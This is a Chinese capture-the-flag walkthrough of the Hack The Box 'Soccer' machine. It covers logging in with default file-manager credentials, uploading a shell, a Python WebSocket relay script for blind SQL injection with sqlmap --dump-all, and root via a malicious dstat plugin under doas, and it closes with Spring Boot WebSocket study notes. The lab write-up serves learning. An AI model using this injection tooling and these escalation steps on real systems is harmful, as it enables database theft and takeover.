hackthebox-Soccer
  fJTX3vtGfGoC 2023年11月01日 47 0

靶机地址

10.10.11.194

user权限

image-20221228215721691

发现存在80端口嘛然后访问一下

然后发现转到域名为

image-20221228220007893

本地绑定一下IP和域名

image-20221228220322466

这里因为是htb的靶场就不扫子域名了直接爆目录

image-20221228222413006

扫到一个目录上去看看,然后发现是个登录框

image-20221228222442161

h3k,Tiny File Manager这些都是一些关键字然后再源代码里面看了看没有找到什么东西只能求助万能的百度了

h3k没什么东西最后找到了Tiny File Manager这个东西在git上面是开源的

项目地址:https://github.com/prasathmani/tinyfilemanager

image-20221228222922690

是一个php文件管理的cms有源码的也有管理员默认账号密码尝试登录一下,然后成功的进来了

image-20221228223120139

然后发现文件上传功能,找了个路径点

image-20221228224405923

上传了文件并且拿到了shell

image-20221228224434604

然后这台主机是linux的主机尝试用nc去获取交互shell

image-20221228225859191

拿到shell

上传某个脚本进行一下信息收集

image-20221228231939605

中间发现很多提权脚本

image-20221228232015348

随后在Nginx模块发现了一个子域名

image-20221228232206928

子域名是一个soc-player.soccer.htb

image-20221228232722429

随后注册账户进来

image-20221228232938619

这段英文的意思是要检查们的票据,然后我们抓包尝试一下

抓出来发现就是一个纯纯的ID

image-20221228233404755

这种json格式的数据

当我发送给repeaeter的时候burp自动帮我识别了这是一个WebSockets,我测了半天我不会了,sockets这个协议的漏洞我都没有怎么碰到过,然后去看了wp

这里是一个WebSockets的sql注入

image-20221228233735192

根据代码分析我们需要传入的msg是id

这里有一篇关于sockets的sql注入的文章

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

用它结合着sqlmap进行测试

根据这篇文章修改我们的参数

image-20221228234002816

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
        ws = create_connection(ws_server)
        # If the server returns a response on connect, use below line
        #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

        # For our case, format the payload in JSON
        message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
        data = '{"id":"%s"}' % message

        ws.send(data)
        resp = ws.recv()
        ws.close()

        if resp:
                return resp
        else:
                return ''

def middleware_server(host_port,content_type="text/plain"):

        class CustomHandler(SimpleHTTPRequestHandler):
                def do_GET(self) -> None:
                        self.send_response(200)
                        try:
                                payload = urlparse(self.path).query.split('=',1)[1]
                        except IndexError:
                                payload = False

                        if payload:
                                content = send_ws(payload)
                        else:
                                content = 'No parameters specified!'

                        self.send_header("Content-type", content_type)
                        self.end_headers()
                        self.wfile.write(content.encode())
                        return

        class _TCPServer(TCPServer):
                allow_reuse_address = True

        httpd = _TCPServer(host_port, CustomHandler)
        httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
        middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
        pass


然后使用sqlmap去跑参数

sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
--dump-all:查找并转储找到的所有数据库
--exclude-sysdbs:不会在默认数据库上浪费时间



image-20221228234819726

用findshell连上去以后拿下user权限

image-20221228235043028

root权限

后面的就更是我的知识盲区了,是在刚刚的信息收集的时候发现的一些东西有一个叫做doas

image-20221228235527914

这是那些地软件有suid权限

image-20221228235738689

什么意思呢就是说我们可以用这个东西来执行sudo指令,我们只需要用这个创建一个shell我们就可以相当于执行了一个 sudo bin/bash

我们先找一下这个软件在哪

通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/

找到之后创建一个插件

cd /usr/local/share/dstat/
touch dstat_baimao.py
chmod 777 dstat_baimao.py

image-20221229000533174

image-20221229000845331

已经提升到root权限了我自己都还没注意到存到

小结一下

  1. WebSockets是个什么东西还有什么其他可以利用的点,自己用java去实现一遍
  2. sock的sql注入的脚本需要自己去学习一下其中的原理是怎么构成的。

WebSockets

WebSockets 是一种先进的技术。它可以在用户的浏览器和服务器之间打开交互式通信会话。使用此 API,您可以向服务器发送消息并接收事件驱动的响应,而无需通过轮询服务器的方式以获得响应。

简单的自己实现Sockets

还是用springboot去开发

配置类

mport org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.socket.server.standard.ServerEndpointExporter;

@Configuration
public class WebSocketConfig {
    /**
     * 	注入ServerEndpointExporter,
     * 	这个bean会自动注册使用了@ServerEndpoint注解声明的Websocket endpoint
     */
    @Bean
    public ServerEndpointExporter serverEndpointExporter() {
        return new ServerEndpointExporter();
    }
    
}

处理类

@ServerEndpoint("/myWs")
@Component
public class WsServerEndpoint {
    /**
     * 连接成功
     * @param session
     */
    @OnOpen
    public void onOpen(Session session) {
        System.out.println("连接成功");
    }

    /**
     * 连接关闭
     * @param session
     */
    @OnClose
    public void onClose(Session session) {
        System.out.println("连接关闭");
    }

    /**
     * 接收到消息
     * @param text
     */
    @OnMessage
    public String onMsg(String text) throws IOException {
        return "servet 发送:" + text;
    }
}

这几个注解分别对应着我们常用的三件套连接时候,断开时候,消息处理

@ServerEndpoint

  • 通过这个 spring boot 就可以知道你暴露出去的 ws 应用的路径,有点类似我们经常用的@RequestMapping。比如你的启动端口是8080,而这个注解的值是ws,那我们就可以通过 ws://127.0.0.1:8080/ws 来连接你的应用。

@OnOpen

  • 当 websocket 建立连接成功后会触发这个注解修饰的方法。

@OnClose

  • 当 websocket 建立的连接断开后会触发这个注解修饰的方法。

@OnMessage

  • 当客户端发送消息到服务端时,会触发这个注解修改的方法,它有一个 String 入参表明客户端传入的值。

@OnError

  • 当 websocket 建立连接时出现异常会触发这个注解修饰的方法。

所以出现漏洞的点在于@OnMessage这个注解的方法这里做处理的时候和数据库进行交互的sql语句造成的注入

小脚本

我去大致的浏览了一下里面会收集的内容记住一些我觉得比较有意思的点

Executing Linux Exploit Suggester

这个会建议我们尝试一些提权操作

Searching uncommon passwd files

这个会有一些可以访问的passwd是一些密码文件

Possible private SSH keys were found!

ssh的key,

Some certificates were found (out limited)

一些证书文件,其实里面有很多有意思的东西,实战中肯定是先去尝试那些提权脚本当你提权不了的时候才开始尝试其他

的信息然后再收集信息去看其他提权方式

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

上一篇: DC-3 下一篇: linux跟踪技术之ebpf
  1. 分享:
最后一次编辑于 2023年11月08日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   2024年05月17日   32   0   0 网络安全
  pTtIhLb24H2d   2024年05月17日   34   0   0 网络安全
  OKgNPeBk991j   2024年05月18日   47   0   0 网络安全
  rKgO6TN7xbYO   2024年05月17日   38   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   53   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   36   0   0 网络安全
  YOkriIV1Am1d   2024年05月20日   39   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   37   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   40   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   34   0   0 网络安全